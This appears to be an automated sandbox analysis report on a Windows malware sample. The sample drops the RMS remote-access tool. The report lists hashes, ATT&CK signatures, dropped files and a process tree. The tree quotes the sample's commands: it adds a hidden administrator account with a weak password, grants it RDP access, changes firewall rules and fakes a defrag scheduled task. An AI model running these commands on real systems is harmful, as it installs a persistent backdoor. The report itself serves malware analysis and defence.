Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    19-08-2024 06:25

General

  • Target

    a9f05c13d758f4f34386042d85847bab_JaffaCakes118.exe

  • Size

    4.7MB

  • MD5

    a9f05c13d758f4f34386042d85847bab

  • SHA1

    d2af2b04fee943433395cd307ac6f9f405505071

  • SHA256

    5312214b15330113f6eab71565e1e3c7d1ee3b59daa6703c271aaf3b192e6809

  • SHA512

    1fb0a82895f95120a7648ff695af32249c38397a4444f8f32b8d3b347b6c40a2d01006a3dfb37f9f54132379150d8b3055ce38a0412a571e1d05b2467e4676b1

  • SSDEEP

    98304:6I3IDNhT/Shhfm7D0PzBnC9W7oe2UfCqEdEwZnDbje8BziWU:6saOhFTD7oeJfnqPnDbjL2

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 3 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Modifies Windows Firewall 2 TTPs 3 IoCs
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
  • Allows Network login with blank passwords 1 TTPs 1 IoCs

    Allows local user accounts with blank passwords to access device from the network.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 64 IoCs
  • Modifies WinLogon 2 TTPs 4 IoCs
  • Hide Artifacts: Hidden Users 1 TTPs 1 IoCs
  • Drops file in Program Files directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 22 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a9f05c13d758f4f34386042d85847bab_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a9f05c13d758f4f34386042d85847bab_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Program Files\Defragmentation\abashed.exe
      "C:\Program Files\Defragmentation\abashed.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3060
      • C:\Program Files\Defragmentation\abashed.exe
        "C:\Program Files\Defragmentation\abashed.exe" -second
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:2704
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c SchTasks /create /f /XML %temp%\Log547.xml /TN \microsoft\windows\defrag\scheduleddefrag && schtasks /Change /TN \microsoft\windows\defrag\scheduleddefrag /ENABLE && schtasks /run /TN \microsoft\windows\defrag\scheduleddefrag
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3576
      • C:\Windows\SysWOW64\schtasks.exe
        SchTasks /create /f /XML C:\Users\Admin\AppData\Local\Temp\Log547.xml /TN \microsoft\windows\defrag\scheduleddefrag
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3592
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN \microsoft\windows\defrag\scheduleddefrag /ENABLE
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3616
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /run /TN \microsoft\windows\defrag\scheduleddefrag
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3628
    • C:\Users\Admin\AppData\Local\Temp\RDP_5166.exe
      "C:\Users\Admin\AppData\Local\Temp\RDP_5166.exe"
      2⤵
      • Allows Network login with blank passwords
      • Executes dropped EXE
      • Modifies WinLogon
      • Hide Artifacts: Hidden Users
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3652
      • C:\Users\Admin\AppData\Local\Temp\SETUP_73538.exe
        "C:\Users\Admin\AppData\Local\Temp\SETUP_73538.exe" -i
        3⤵
        • Server Software Component: Terminal Services DLL
        • Executes dropped EXE
        • Modifies WinLogon
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3812
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:4180
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c netsh advfirewall firewall add rule name="Port reconnecting" protocol="TCP" localport=3389 action=block dir=IN
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3844
        • C:\Windows\SysWOW64\netsh.exe
          netsh advfirewall firewall add rule name="Port reconnecting" protocol="TCP" localport=3389 action=block dir=IN
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:3896
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c netsh advfirewall firewall add rule name="Port reconnecting" protocol="TCP" localport=5939 action=block dir=IN
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3060
        • C:\Windows\SysWOW64\netsh.exe
          netsh advfirewall firewall add rule name="Port reconnecting" protocol="TCP" localport=5939 action=block dir=IN
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:2872
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c net user "wgautilacc" "1234" /add /active:yes /comment:"DefaultUser" /expires:never
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:984
        • C:\Windows\SysWOW64\net.exe
          net user "wgautilacc" "1234" /add /active:yes /comment:"DefaultUser" /expires:never
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1868
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 user "wgautilacc" "1234" /add /active:yes /comment:"DefaultUser" /expires:never
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1780
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c net localgroup "Administrators" "wgautilacc" /add & net localgroup "Remote Desktop Users" "wgautilacc" /add
        3⤵
        • Remote Service Session Hijacking: RDP Hijacking
        • System Location Discovery: System Language Discovery
        PID:2408
        • C:\Windows\SysWOW64\net.exe
          net localgroup "Administrators" "wgautilacc" /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1548
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup "Administrators" "wgautilacc" /add
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3016
        • C:\Windows\SysWOW64\net.exe
          net localgroup "Remote Desktop Users" "wgautilacc" /add
          4⤵
          • Remote Service Session Hijacking: RDP Hijacking
          • System Location Discovery: System Language Discovery
          PID:2880
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup "Remote Desktop Users" "wgautilacc" /add
            5⤵
            • Remote Service Session Hijacking: RDP Hijacking
            • System Location Discovery: System Language Discovery
            PID:2512
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {EE836CE3-5772-4B54-9F6B-FAA8593730C5} S-1-5-21-2212144002-1172735686-1556890956-1000:MVFYZPLM\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3636
    • C:\Program Files\Defragmentation\abashed.exe
      "C:\Program Files\Defragmentation\abashed.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:3756

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RDP_5166.exe

    Filesize

    569KB

    MD5

    a46ab91afbba2a657bce8e961bf2632f

    SHA1

    7c1a484a381fc4915c6904358f7a3611ad9323d2

    SHA256

    740b1c1498915271214824fa1c5f1a373efdcf13adee853f70d582cec353a1a1

    SHA512

    a1a519c05dea2ab7db4dcea2945c6afb5292d1701404b0de7c530df13ffe81db986fd9c7d703225178f9df4468c17c9db0a78029ae87112e35c51490576a17c4

  • C:\Users\Admin\AppData\Local\Temp\SETUP_73538.exe

    Filesize

    1.5MB

    MD5

    9adce164113ec09d243a78029aecfa2e

    SHA1

    403fb3148345800ca6f0374459e3f6d5ef3b613e

    SHA256

    d577804cf39a7af100747f2dcc00c525a19fa3cb0498885d020cc2a0f10a9436

    SHA512

    c938ccc8b89181e2d5113f31e4adc532b0c62793ba3549dbc7ece22a30219d4f0885e89b1ac01499bed5ea1dd653cbee3b61bdb0883d9980ea4c518ac70b01f5

  • C:\Users\Admin\AppData\Local\Temp\nsz4AF6.tmp\nsExec.dll

    Filesize

    7KB

    MD5

    f27689c513e7d12c7c974d5f8ef710d6

    SHA1

    e305f2a2898d765a64c82c449dfb528665b4a892

    SHA256

    1f18f4126124b0551f3dbcd0fec7f34026f930ca509f04435657cedc32ae8c47

    SHA512

    734e9f3989ee47a86bee16838df7a09353c7fe085a09d77e70d281b21c5477b0b061616e72e8ac8fcb3dda1df0d5152f54dcc4c5a77f90fbf0f857557bf02fbc

  • C:\Users\Admin\AppData\Local\Temp\nsz8BDC.tmp\System.dll

    Filesize

    11KB

    MD5

    0063d48afe5a0cdc02833145667b6641

    SHA1

    e7eb614805d183ecb1127c62decb1a6be1b4f7a8

    SHA256

    ac9dfe3b35ea4b8932536ed7406c29a432976b685cc5322f94ef93df920fede7

    SHA512

    71cbbcaeb345e09306e368717ea0503fe8df485be2e95200febc61bcd8ba74fb4211cd263c232f148c0123f6c6f2e3fd4ea20bdecc4070f5208c35c6920240f0

  • C:\Users\Admin\AppData\Local\Temp\nsz8BDC.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    293165db1e46070410b4209519e67494

    SHA1

    777b96a4f74b6c34d43a4e7c7e656757d1c97f01

    SHA256

    49b7477db8dd22f8cf2d41ee2d79ce57797f02e8c7b9e799951a6c710384349a

    SHA512

    97012139f2da5868fe8731c0b0bcb3cfda29ed10c2e6e2336b504480c9cd9fb8f4728cca23f1e0bd577d75daa542e59f94d1d341f4e8aaeebc7134bf61288c19

  • \Program Files\Defragmentation\abashed.exe

    Filesize

    12.3MB

    MD5

    ceead38e6521ea6bcf26c3cf266baec7

    SHA1

    d7523a46243b459deb53663e5bfa5a85cb760ff0

    SHA256

    8c62370f1ff4d32794b8b554ae75a3c3b457561542ed9795c1819bbb6746599b

    SHA512

    0691bcf9b29fb996ab02c8a184900d8b10c1475519dbc66d331dd2ea0fcd6a82957e129b7edc440a23145f24cf4fa0eb433388477939e58f7186527febccf0ab

  • \Users\Admin\AppData\Local\Temp\nsz4AF6.tmp\NSISList.dll

    Filesize

    105KB

    MD5

    4b0617493f32b2b5fe5e838eeb885819

    SHA1

    336e84380420a9caaa9c12af7c8e530135e63c57

    SHA256

    df3621f83e9d11be45e0e617b899c4ab0241f60ed56494e892dc449482058402

    SHA512

    5c50cf97cd9a6c699ec7928a08f77f4eaa68105e87a974432e39b637f926f0df8a95ec19bd63465fc438a4ef6349398938bc8d7651de125d13ccab89d1d49143

  • \Users\Admin\AppData\Local\Temp\nsz4AF6.tmp\System.dll

    Filesize

    12KB

    MD5

    8cf2ac271d7679b1d68eefc1ae0c5618

    SHA1

    7cc1caaa747ee16dc894a600a4256f64fa65a9b8

    SHA256

    6950991102462d84fdc0e3b0ae30c95af8c192f77ce3d78e8d54e6b22f7c09ba

    SHA512

    ce828fb9ecd7655cc4c974f78f209d3326ba71ced60171a45a437fc3fff3bd0d69a0997adaca29265c7b5419bdea2b17f8cc8ceae1b8ce6b22b7ed9120bb5ad3

  • \Users\Admin\AppData\Local\Temp\nsz4AF6.tmp\nsProcess.dll

    Filesize

    4KB

    MD5

    f0438a894f3a7e01a4aae8d1b5dd0289

    SHA1

    b058e3fcfb7b550041da16bf10d8837024c38bf6

    SHA256

    30c6c3dd3cc7fcea6e6081ce821adc7b2888542dae30bf00e881c0a105eb4d11

    SHA512

    f91fcea19cbddf8086affcb63fe599dc2b36351fc81ac144f58a80a524043ddeaa3943f36c86ebae45dd82e8faf622ea7b7c9b776e74c54b93df2963cfe66cc7

  • \Users\Admin\AppData\Local\Temp\nsz4AF6.tmp\registry.dll

    Filesize

    24KB

    MD5

    2b7007ed0262ca02ef69d8990815cbeb

    SHA1

    2eabe4f755213666dbbbde024a5235ddde02b47f

    SHA256

    0b25b20f26de5d5bd795f934c70447112b4981343fcb2dfab3374a4018d28c2d

    SHA512

    aa75ee59ca0b8530eb7298b74e5f334ae9d14129f603b285a3170b82103cfdcc175af8185317e6207142517769e69a24b34fcdf0f58ed50a4960cbe8c22a0aca

  • memory/2240-19-0x0000000002B70000-0x0000000002B94000-memory.dmp

    Filesize

    144KB

  • memory/2240-25-0x0000000002CE0000-0x0000000002D39000-memory.dmp

    Filesize

    356KB

  • memory/2704-6149-0x0000000000400000-0x00000000010EC000-memory.dmp

    Filesize

    12.9MB

  • memory/2704-6092-0x0000000000400000-0x00000000010EC000-memory.dmp

    Filesize

    12.9MB

  • memory/2704-6147-0x0000000000400000-0x00000000010EC000-memory.dmp

    Filesize

    12.9MB

  • memory/2704-6154-0x0000000000400000-0x00000000010EC000-memory.dmp

    Filesize

    12.9MB

  • memory/2704-6156-0x0000000000400000-0x00000000010EC000-memory.dmp

    Filesize

    12.9MB

  • memory/2704-6157-0x0000000000400000-0x00000000010EC000-memory.dmp

    Filesize

    12.9MB

  • memory/2704-6159-0x0000000000400000-0x00000000010EC000-memory.dmp

    Filesize

    12.9MB

  • memory/2704-6160-0x0000000000400000-0x00000000010EC000-memory.dmp

    Filesize

    12.9MB

  • memory/3060-841-0x0000000000400000-0x00000000010EC000-memory.dmp

    Filesize

    12.9MB

  • memory/3060-266-0x0000000000230000-0x0000000000231000-memory.dmp

    Filesize

    4KB

  • memory/3756-6127-0x0000000000400000-0x00000000010EC000-memory.dmp

    Filesize

    12.9MB

  • memory/3812-6146-0x0000000000400000-0x000000000058F000-memory.dmp

    Filesize

    1.6MB